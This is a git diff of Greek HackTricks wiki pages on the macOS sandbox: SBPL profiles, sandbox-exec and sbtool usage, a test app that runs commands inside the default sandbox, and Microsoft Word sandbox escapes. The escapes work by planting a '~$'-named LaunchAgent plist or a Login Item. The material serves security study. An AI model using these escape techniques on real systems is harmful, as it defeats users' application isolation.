είναι αρχεία ρυθμίσεων που υποδεικνύουν τι επιτρέπεται/απαγορεύεται σε αυτήν την άμμο. Χρησιμοποιεί την γλώσσα προφίλ άμμου (SBPL), η οποία χρησιμοποιεί την [**Scheme**](https://en.wikipedia.org/wiki/Scheme\_\(programming\_language\)) γλώσσα προγραμματισμού. +Τα Sandbox profiles είναι αρχεία ρύθμισης που υποδεικνύουν τι θα είναι **επιτρεπτό/απαγορευμένο** σε αυτό το **Sandbox**. Χρησιμοποιεί τη **Γλώσσα Προφίλ Sandbox (SBPL)**, η οποία χρησιμοποιεί τη γλώσσα προγραμματισμού [**Scheme**](https://en.wikipedia.org/wiki/Scheme\_\(programming\_language\)). Εδώ μπορείτε να βρείτε ένα παράδειγμα: ```scheme @@ -140,57 +141,28 @@ AAAhAboBAAAAAAgAAABZAO4B5AHjBMkEQAUPBSsGPwsgASABHgEgASABHwEf... ) ``` {% hint style="success" %} -Ελέγξτε αυτήν την [**έρευνα**](https://reverse.put.as/2011/09/14/apple-sandbox-guide-v1-0/) **για να ελέγξετε περισσότερες ενέργειες που μπορεί να επιτρέπονται ή να απαγορεύονται**. +Δείτε αυτήν την [**έρευνα**](https://reverse.put.as/2011/09/14/apple-sandbox-guide-v1-0/) **για να δείτε περισσότερες ενέργειες που θα μπορούσαν να επιτραπούν ή να απορριφθούν.** {% endhint %} -Σημαντικές **υπηρεσίες συστήματος** τρέχουν επίσης μέσα στο δικό τους προσαρμοσμένο **sandbox** όπως η υπηρεσία `mdnsresponder`. Μπορείτε να δείτε αυτά τα προσαρμοσμένα **προφίλ sandbox** μέσα στα: +Σημαντικές **υπηρεσίες συστήματος** εκτελούνται επίσης μέσα σε δικό τους προσαρμοσμένο **sandbox**, όπως η υπηρεσία `mdnsresponder`. Μπορείτε να δείτε αυτά τα προσαρμοσμένα **προφίλ sandbox** μέσα σε: * **`/usr/share/sandbox`** * **`/System/Library/Sandbox/Profiles`** * Άλλα προφίλ sandbox μπορούν να ελεγχθούν στο [https://github.com/s7ephen/OSX-Sandbox--Seatbelt--Profiles](https://github.com/s7ephen/OSX-Sandbox--Seatbelt--Profiles). -Οι εφαρμογές **App Store** χρησιμοποιούν το **προφίλ** **`/System/Library/Sandbox/Profiles/application.sb`**. Μπορείτε να ελέγξετε σε αυτό το προφίλ πώς οι εξουσιοδοτήσεις όπως **`com.apple.security.network.server`** επιτρέπουν σε ένα διεργασία να χρησιμοποιεί το δίκτυο. +Οι εφαρμογές του **App Store** χρησιμοποιούν το **προφίλ** **`/System/Library/Sandbox/Profiles/application.sb`**. Μπορείτε να ελέγξετε σε αυτό το προφίλ πώς οι εξουσιοδοτήσεις όπως **`com.apple.security.network.server`** επιτρέπουν σε μια διαδικασία να χρησιμοποιεί το δίκτυο. Το SIP είναι ένα προφίλ Sandbox που ονομάζεται platform\_profile στο /System/Library/Sandbox/rootless.conf -### Παραδείγματα προφίλ Sandbox +### Παραδείγματα Προφίλ Sandbox -Για να ξεκινήσετε μια εφαρμογή με ένα **συγκεκριμένο προφίλ sandbox** μπορείτε να χρησιμοποιήσετε: +Για να ξεκινήσετε μια εφαρμογή με ένα **συγκεκριμένο προφίλ sandbox**, μπορείτε να χρησιμοποιήσετε: ```bash sandbox-exec -f example.sb /Path/To/The/Application ``` +{% tabs %} +{% tab title="touch" %} {% code title="touch.sb" %} - -```plaintext -(version 1) -(deny default) -(allow file-read-metadata) -(allow file-write-metadata) -(allow file-read-data (literal "/path/to/file")) -(allow file-write-data (literal "/path/to/file")) -``` - -Το αρχείο `touch.sb` περιέχει τον κώδικα για το sandbox του macOS που επιτρέπει στην εφαρμογή να διαβάζει και να γράφει μεταδεδομένα αρχείων, καθώς και να διαβάζει και να γράφει δεδομένα σε ένα συγκεκριμένο αρχείο στη διαδρομή "/path/to/file". -``` -{% endcode %} -{% endtab %} - -{% tab title="sandbox-exec" %} -{% code title="sandbox-exec.sb" %} -```plaintext -(version 1) -(deny default) -(allow file-read-metadata) -(allow file-write-metadata) -(allow file-read-data (literal "/path/to/file")) -(allow file-write-data (literal "/path/to/file")) -``` - -Το αρχείο `sandbox-exec.sb` περιέχει τον κώδικα για το sandbox του macOS που επιτρέπει στην εφαρμογή να διαβάζει και να γράφει μεταδεδομένα αρχείων, καθώς και να διαβάζει και να γράφει δεδομένα σε ένα συγκεκριμένο αρχείο στη διαδρομή "/path/to/file". -``` -{% endcode %} -{% endtab %} -{% endtabs %} ```scheme (version 1) (deny default) @@ -210,50 +182,6 @@ log show --style syslog --predicate 'eventMessage contains[c] "sandbox"' --last [...] ``` {% code title="touch2.sb" %} - -Ο ακόλουθος κώδικας είναι ένα παράδειγμα ενός αρχείου sandbox για το macOS. Το αρχείο αυτό ονομάζεται touch2.sb και χρησιμοποιείται για να περιορίσει τις δυνατότητες ενός προγράμματος που εκτελείται στο sandbox του macOS. - -```plaintext -(version 1) -(deny default) - -(allow file-write* - (literal "/private/var/tmp/") - (regex #"^/private/var/tmp/[^/]+\.txt$")) - -(allow file-read* - (literal "/private/var/tmp/") - (regex #"^/private/var/tmp/[^/]+\.txt$")) - -(allow file-read-metadata - (literal "/private/var/tmp/") - (regex #"^/private/var/tmp/[^/]+\.txt$")) - -(allow file-write-data - (literal "/private/var/tmp/") - (regex #"^/private/var/tmp/[^/]+\.txt$")) - -(allow file-write-metadata - (literal "/private/var/tmp/") - (regex #"^/private/var/tmp/[^/]+\.txt$")) - -(allow mach-lookup - (global-name "com.apple.security.keychain")) - -(allow sysctl-read) - -(allow signal) - -(allow process-exec - (literal "/bin/echo") - (literal "/usr/bin/echo")) - -(allow process-info-pidinfo) - -(allow ipc-posix-shm) -``` - -Αυτός ο κώδικας ορίζει τις επιτρεπόμενες ενέργειες για το πρόγραμμα που εκτελείται στο sandbox. Επιτρέπει την εγγραφή και ανάγνωση αρχείων στον φάκελο "/private/var/tmp/" με την κατάληξη ".txt". Επιτρέπει επίσης την πρόσβαση στα μεταδεδομένα των αρχείων και την εκτέλεση των προγραμμάτων "/bin/echo" και "/usr/bin/echo". Επιπλέον, επιτρέπει την πρόσβαση στο keychain του macOS και την ανάγνωση των πληροφοριών των διεργασιών. Τέλος, επιτρέπει τη χρήση των IPC POSIX shared memory. ```scheme (version 1) (deny default) @@ -267,6 +195,8 @@ log show --style syslog --predicate 'eventMessage contains[c] "sandbox"' --last ; 2023-05-26 13:44:59.840050+0200 localhost kernel[0]: (Sandbox) Sandbox: touch(41575) deny(1) sysctl-read kern.bootargs ; 2023-05-26 13:44:59.840061+0200 localhost kernel[0]: (Sandbox) Sandbox: touch(41575) deny(1) file-read-data / ``` +{% endcode %} + {% code title="touch3.sb" %} ```scheme (version 1) @@ -281,29 +211,29 @@ log show --style syslog --predicate 'eventMessage contains[c] "sandbox"' --last {% endtabs %} {% hint style="info" %} -Σημειώστε ότι το **λογισμικό που έχει αναπτύξει η Apple** και τρέχει σε **Windows** **δεν έχει επιπλέον μέτρα ασφαλείας**, όπως η εφαρμογή sandboxing. +Σημειώστε ότι το **λογισμικό** που έχει συγγραφεί από την **Apple** που τρέχει σε **Windows** **δεν έχει επιπλέον μέτρα ασφαλείας**, όπως η απομόνωση εφαρμογών. {% endhint %} -Παραδείγματα παράκαμψης: +Παραδείγματα παρακάμψεων: * [https://lapcatsoftware.com/articles/sandbox-escape.html](https://lapcatsoftware.com/articles/sandbox-escape.html) -* [https://desi-jarvis.medium.com/office365-macos-sandbox-escape-fcce4fa4123c](https://desi-jarvis.medium.com/office365-macos-sandbox-escape-fcce4fa4123c) (μπορούν να γράψουν αρχεία έξω από το sandbox με όνομα που ξεκινά με `~$`). +* [https://desi-jarvis.medium.com/office365-macos-sandbox-escape-fcce4fa4123c](https://desi-jarvis.medium.com/office365-macos-sandbox-escape-fcce4fa4123c) (μπορούν να γράφουν αρχεία εκτός της απομόνωσης των οποίων το όνομα ξεκινά με `~$`). -### Προφίλ Sandbox του MacOS +### Προφίλ Απομόνωσης MacOS -Το macOS αποθηκεύει τα προφίλ του συστήματος sandbox σε δύο τοποθεσίες: **/usr/share/sandbox/** και **/System/Library/Sandbox/Profiles**. +Το macOS αποθηκεύει τα προφίλ απομόνωσης συστήματος σε δύο τοποθεσίες: **/usr/share/sandbox/** και **/System/Library/Sandbox/Profiles**. -Και αν μια εφαρμογή τρίτου μέρους έχει το δικαίωμα _**com.apple.security.app-sandbox**_, το σύστημα εφαρμόζει το προφίλ **/System/Library/Sandbox/Profiles/application.sb** σε αυτήν τη διεργασία. +Και αν μια εφαρμογή τρίτου μέρους φέρει την _**com.apple.security.app-sandbox**_ εξουσία, το σύστημα εφαρμόζει το προφίλ **/System/Library/Sandbox/Profiles/application.sb** σε αυτή τη διαδικασία. -### **Προφίλ Sandbox του iOS** +### **Προφίλ Απομόνωσης iOS** -Το προεπιλεγμένο προφίλ ονομάζεται **container** και δεν έχουμε την αναπαράσταση SBPL σε κείμενο. Στη μνήμη, αυτό το sandbox αναπαρίσταται ως δυαδικό δέντρο Allow/Deny για κάθε άδεια από το sandbox. +Το προεπιλεγμένο προφίλ ονομάζεται **container** και δεν έχουμε την κειμενική αναπαράσταση SBPL. Στη μνήμη, αυτή η απομόνωση αναπαρίσταται ως δυαδικό δέντρο Επιτρέπει/Απαγορεύει για κάθε άδεια από την απομόνωση. -### Αποσφαλμάτωση και Παράκαμψη Sandbox +### Debug & Παράκαμψη Απομόνωσης -Στο macOS, αντίθετα από το iOS όπου οι διεργασίες είναι sandboxed από την αρχή από τον πυρήνα, **οι διεργασίες πρέπει να επιλέξουν ενεργά να εισέλθουν στο sandbox**. Αυτό σημαίνει ότι στο macOS, μια διεργασία δεν περιορίζεται από το sandbox μέχρι να αποφασίσει ενεργά να εισέλθει σε αυτό. +Στο macOS, σε αντίθεση με το iOS όπου οι διαδικασίες είναι απομονωμένες από την αρχή από τον πυρήνα, **οι διαδικασίες πρέπει να επιλέξουν να μπουν στην απομόνωση μόνες τους**. Αυτό σημαίνει ότι στο macOS, μια διαδικασία δεν περιορίζεται από την απομόνωση μέχρι να αποφασίσει ενεργά να εισέλθει σε αυτήν. -Οι διεργασίες αυτόματα εισέρχονται στο Sandbox από τον χρήστη όταν ξεκινούν αν έχουν το δικαίωμα: `com.apple.security.app-sandbox`. Για μια λεπτομερή εξήγηση αυτής της διαδικασίας, ελέγξτε: +Οι διαδικασίες απομονώνονται αυτόματα από το userland όταν ξεκινούν αν έχουν την εξουσία: `com.apple.security.app-sandbox`. Για μια λεπτομερή εξήγηση αυτής της διαδικασίας, ελέγξτε: {% content-ref url="macos-sandbox-debug-and-bypass/" %} [macos-sandbox-debug-and-bypass](macos-sandbox-debug-and-bypass/) @@ -311,7 +241,7 @@ log show --style syslog --predicate 'eventMessage contains[c] "sandbox"' --last ### **Έλεγχος Προνομίων PID** -[**Σύμφωνα με αυτό**](https://www.youtube.com/watch?v=mG715HcDgO8\&t=3011s), το **`sandbox_check`** (είναι ένα `__mac_syscall`), μπορεί να ελέγξει **αν μια λειτουργία επιτρέπεται ή όχι** από το sandbox σε ένα συγκεκριμένο PID. +[**Σύμφωνα με αυτό**](https://www.youtube.com/watch?v=mG715HcDgO8\&t=3011s), το **`sandbox_check`** (είναι ένα `__mac_syscall`), μπορεί να ελέγξει **αν μια ενέργεια επιτρέπεται ή όχι** από την απομόνωση σε ένα συγκεκριμένο PID. Το [**εργαλείο sbtool**](http://newosxbook.com/src.jl?tree=listings\&file=sbtool.c) μπορεί να ελέγξει αν ένα PID μπορεί να εκτελέσει μια συγκεκριμένη ενέργεια: ```bash @@ -320,11 +250,11 @@ sbtool file /tmp #Check file access sbtool inspect #Gives you an explaination of the sandbox profile sbtool all ``` -### Προσαρμοσμένα SBPL σε εφαρμογές App Store +### Custom SBPL in App Store apps -Είναι δυνατό για τις εταιρείες να κάνουν τις εφαρμογές τους να τρέχουν **με προσαρμοσμένα προφίλ Sandbox** (αντί για το προεπιλεγμένο). Πρέπει να χρησιμοποιήσουν το entitlement **`com.apple.security.temporary-exception.sbpl`** το οποίο πρέπει να εξουσιοδοτηθεί από την Apple. +Μπορεί να είναι δυνατόν για τις εταιρείες να κάνουν τις εφαρμογές τους να τρέχουν **με προσαρμοσμένα προφίλ Sandbox** (αντί με το προεπιλεγμένο). Πρέπει να χρησιμοποιήσουν την εξουσιοδότηση **`com.apple.security.temporary-exception.sbpl`** που πρέπει να εγκριθεί από την Apple. -Είναι δυνατό να ελεγχθεί ο ορισμός αυτού του entitlement στο **`/System/Library/Sandbox/Profiles/application.sb:`** +Είναι δυνατόν να ελεγχθεί ο ορισμός αυτής της εξουσιοδότησης στο **`/System/Library/Sandbox/Profiles/application.sb:`** ```scheme (sandbox-array-entitlement "com.apple.security.temporary-exception.sbpl" @@ -332,18 +262,19 @@ sbtool all (let* ((port (open-input-string string)) (sbpl (read port))) (with-transparent-redirection (eval sbpl))))) ``` -Αυτό θα **αξιολογήσει το συμβολοσειρά μετά από αυτήν την εξουσιοδότηση** ως ένα προφίλ Sandbox. +Αυτό θα **εκτελέσει τη συμβολοσειρά μετά από αυτή την εξουσιοδότηση** ως προφίλ Sandbox. + +{% hint style="success" %} +Μάθετε & εξασκηθείτε στο AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Μάθετε & εξασκηθείτε στο GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το htARTE (HackTricks AWS Red Team Expert)! +Υποστήριξη HackTricks -Άλλοι τρόποι για να υποστηρίξετε το HackTricks: - -* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΠΛΑΝΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)! -* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com) -* Ανακαλύψτε [**The PEASS Family**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family) -* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github. +* Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)! +* **Εγγραφείτε στην** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+{% endhint %} diff --git a/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-sandbox/macos-default-sandbox-debug.md b/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-sandbox/macos-default-sandbox-debug.md index 9d482ce0e..cbe1f1c78 100644 --- a/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-sandbox/macos-default-sandbox-debug.md +++ b/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-sandbox/macos-default-sandbox-debug.md @@ -1,22 +1,23 @@ -# Αποσφαλμάτωση Προεπιλεγμένου Αμμοβολίου του macOS +# macOS Default Sandbox Debug + +{% hint style="success" %} +Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το htARTE (HackTricks AWS Red Team Expert)! +Support HackTricks -Άλλοι τρόποι για να υποστηρίξετε το HackTricks: - -* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)! -* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com) -* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family) -* **Εγγραφείτε στην** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github. +* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! +* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+{% endhint %} -Σε αυτήν τη σελίδα μπορείτε να βρείτε πώς να δημιουργήσετε μια εφαρμογή για να εκτελέσετε αυθαίρετες εντολές από μέσα στο προεπιλεγμένο αμμοβόλιο του macOS: +Σε αυτή τη σελίδα μπορείτε να βρείτε πώς να δημιουργήσετε μια εφαρμογή για να εκτελείτε αυθαίρετες εντολές από μέσα από το προεπιλεγμένο sandbox του macOS: -1. Μεταγλωττίστε την εφαρμογή: +1. Συγκεντρώστε την εφαρμογή: {% code title="main.m" %} ```objectivec @@ -50,9 +51,9 @@ return 0; ``` {% endcode %} -Μεταγλωτίστε το εκτελώντας: `clang -framework Foundation -o SandboxedShellApp main.m` +Συγκεντρώστε το εκτελώντας: `clang -framework Foundation -o SandboxedShellApp main.m` -2. Κατασκευάστε το πακέτο `.app` +2. Δημιουργήστε το πακέτο `.app` ```bash mkdir -p SandboxedShellApp.app/Contents/MacOS mv SandboxedShellApp SandboxedShellApp.app/Contents/MacOS/ @@ -74,7 +75,7 @@ cat << EOF > SandboxedShellApp.app/Contents/Info.plist EOF ``` -3. Ορισμός των δικαιωμάτων +3. Ορίστε τα δικαιώματα {% tabs %} {% tab title="sandbox" %} @@ -90,21 +91,9 @@ cat << EOF > entitlements.plist EOF ``` -{% tab title="sandbox + downloads" %} - -Η ασφάλεια του macOS ενισχύεται με τη χρήση του μηχανισμού αμμοβολίας (sandboxing). Ο μηχανισμός αμμοβολίας περιορίζει τις δυνατότητες μιας εφαρμογής, περιορίζοντας την πρόσβασή της σε ευαίσθητους πόρους του συστήματος. Αυτό μειώνει τον κίνδυνο εκμετάλλευσης ευπαθειών του συστήματος από κακόβουλο λογισμικό. - -Ο μηχανισμός αμμοβολίας του macOS περιλαμβάνει προκαθορισμένους κανόνες για την πρόσβαση σε διάφορους πόρους, όπως αρχεία, δίκτυο και συσκευές. Αυτοί οι κανόνες ορίζονται από τον προγραμματιστή της εφαρμογής και επιβάλλονται από το λειτουργικό σύστημα. - -Όταν μια εφαρμογή προσπαθεί να αποκτήσει πρόσβαση σε έναν πόρο που είναι περιορισμένος από τον μηχανισμό αμμοβολίας, ο χρήστης λαμβάνει μια ειδοποίηση και μπορεί να αποφασίσει εάν επιτρέπει ή όχι την πρόσβαση. Αυτό παρέχει ένα επιπλέον επίπεδο προστασίας για το σύστημα. - -Ωστόσο, ο μηχανισμός αμμοβολίας δεν είναι απόλυτα αδιάβροχος και μπορεί να υπάρχουν ευπάθειες που επιτρέπουν την παράκαμψη των περιορισμών του. Οι επιθέσεις που εκμεταλλεύονται αυτές τις ευπαθείς σημεία μπορούν να οδηγήσουν σε απόκτηση αυξημένων δικαιωμάτων (privilege escalation) και παράκαμψη των μέτρων ασφαλείας του συστήματος. - -Για να αποφύγετε τις επιθέσεις που εκμεταλλεύονται τον μηχανισμό αμμοβολίας, είναι σημαντικό να ενημερώνετε το macOS σας σε κανονική βάση και να αποφεύγετε την εγκατάσταση ανεπιθύμητου λογισμικού. Επίσης, μπορείτε να ελέγξετε τις ρυθμίσεις ασφαλείας του συστήματος σας και να προσαρμόσετε τους κανόνες αμμοβολίας για κάθε εφαρμογή, ανάλογα με τις ανάγκες σας. - -Τέλος, είναι σημαντικό να είστε επιφυλακτικοί κατά την περιήγηση στο διαδίκτυο και να αποφεύγετε τη λήψη αρχείων από αναξιόπιστες πηγές. Αυτό μπορεί να μειώσει τον κίνδυνο εκτέλεσης κακόβουλου κώδικα στο σύστημά σας. - {% endtab %} + +{% tab title="sandbox + downloads" %} ```bash cat << EOF > entitlements.plist @@ -122,7 +111,7 @@ EOF {% endtab %} {% endtabs %} -4. Υπογράψτε την εφαρμογή (θα χρειαστεί να δημιουργήσετε ένα πιστοποιητικό στο keychain) +4. Υπογράψτε την εφαρμογή (χρειάζεται να δημιουργήσετε ένα πιστοποιητικό στο keychain) ```bash codesign --entitlements entitlements.plist -s "YourIdentity" SandboxedShellApp.app ./SandboxedShellApp.app/Contents/MacOS/SandboxedShellApp @@ -130,16 +119,17 @@ codesign --entitlements entitlements.plist -s "YourIdentity" SandboxedShellApp.a # An d in case you need this in the future codesign --remove-signature SandboxedShellApp.app ``` +{% hint style="success" %} +Μάθετε & εξασκηθείτε στο AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Μάθετε & εξασκηθείτε στο GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +
-Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το htARTE (HackTricks AWS Red Team Expert)! +Υποστηρίξτε το HackTricks -Άλλοι τρόποι για να υποστηρίξετε το HackTricks: - -* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF**, ελέγξτε τα [**ΠΛΑΝΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)! -* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com) -* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family) -* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github. +* Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)! +* **Εγγραφείτε στην** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+{% endhint %} diff --git a/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-sandbox/macos-sandbox-debug-and-bypass/macos-office-sandbox-bypasses.md b/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-sandbox/macos-sandbox-debug-and-bypass/macos-office-sandbox-bypasses.md index ebbd7e845..0be06e664 100644 --- a/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-sandbox/macos-sandbox-debug-and-bypass/macos-office-sandbox-bypasses.md +++ b/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-sandbox/macos-sandbox-debug-and-bypass/macos-office-sandbox-bypasses.md @@ -1,39 +1,78 @@ -# Παράκαμψη του Sandbox του macOS Office +# macOS Office Sandbox Bypasses + +{% hint style="success" %} +Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το htARTE (HackTricks AWS Red Team Expert)! +Support HackTricks -Άλλοι τρόποι για να υποστηρίξετε το HackTricks: - -* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)! -* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com) -* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family) -* **Εγγραφείτε** στην 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs** στα αποθετήρια του [**HackTricks**](https://github.com/carlospolop/hacktricks) και του [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) στο github. +* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! +* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+{% endhint %} -### Παράκαμψη του Sandbox του Word μέσω των Launch Agents +### Word Sandbox bypass via Launch Agents -Η εφαρμογή χρησιμοποιεί ένα **προσαρμοσμένο Sandbox** χρησιμοποιώντας το entitlement **`com.apple.security.temporary-exception.sbpl`** και αυτό το προσαρμοσμένο sandbox επιτρέπει την εγγραφή αρχείων οπουδήποτε, όσο το όνομα του αρχείου ξεκινά με `~$`: `(require-any (require-all (vnode-type REGULAR-FILE) (regex #"(^|/)~$[^/]+$")))` +Η εφαρμογή χρησιμοποιεί ένα **custom Sandbox** χρησιμοποιώντας την εξουσία **`com.apple.security.temporary-exception.sbpl`** και αυτό το custom sandbox επιτρέπει την εγγραφή αρχείων οπουδήποτε, αρκεί το όνομα του αρχείου να ξεκινά με `~$`: `(require-any (require-all (vnode-type REGULAR-FILE) (regex #"(^|/)~$[^/]+$")))` -Επομένως, η παράκαμψη ήταν τόσο εύκολη όσο το **γράψιμο ενός `plist`** LaunchAgent στο `~/Library/LaunchAgents/~$escape.plist`. +Επομένως, η εκμετάλλευση ήταν τόσο εύκολη όσο το **να γράψεις ένα `plist`** LaunchAgent στο `~/Library/LaunchAgents/~$escape.plist`. -Ελέγξτε την [**αρχική αναφορά εδώ**](https://www.mdsec.co.uk/2018/08/escaping-the-sandbox-microsoft-office-on-macos/). +Δες την [**αρχική αναφορά εδώ**](https://www.mdsec.co.uk/2018/08/escaping-the-sandbox-microsoft-office-on-macos/). -### Παράκαμψη του Sandbox του Word μέσω των Login Items και του zip +### Word Sandbox bypass via Login Items and zip -Θυμηθείτε ότι από την πρώτη παράκαμψη, το Word μπορεί να γράψει αυθαίρετα αρχεία των οποίων το όνομα ξεκινά με `~$`, αν και μετά την επιδιόρθωση της προηγούμενης ευπάθειας δεν ήταν δυνατή η εγγραφή στο `/Library/Application Scripts` ή στο `/Library/LaunchAgents`. +Θυμήσου ότι από την πρώτη εκμετάλλευση, το Word μπορεί να γράψει αυθαίρετα αρχεία των οποίων το όνομα ξεκινά με `~$`, αν και μετά την επιδιόρθωση της προηγούμενης ευπάθειας δεν ήταν δυνατή η εγγραφή στο `/Library/Application Scripts` ή στο `/Library/LaunchAgents`. -Ανακαλύφθηκε ότι από το εσωτερικό του sandbox είναι δυνατή η δημιουργία ενός **Login Item** (εφαρμογές που θα εκτελούνται όταν ο χρήστης συνδέεται). Ωστόσο, αυτές οι εφαρμογές **δεν θα εκτελεστούν εκτός αν** είναι **υπογεγραμμένες** και δεν είναι δυνατή η προσθήκη ορισμένων παραμέτρων (οπότε δεν μπορείτε απλά να εκτελέσετε ένα αντίστροφο κέλυφος χρησιμοποιώντας το **`bash`**). +Ανακαλύφθηκε ότι από μέσα στο sandbox είναι δυνατό να δημιουργηθεί ένα **Login Item** (εφαρμογές που θα εκτελούνται όταν ο χρήστης συνδέεται). Ωστόσο, αυτές οι εφαρμογές **δεν θα εκτελούνται εκτός αν** 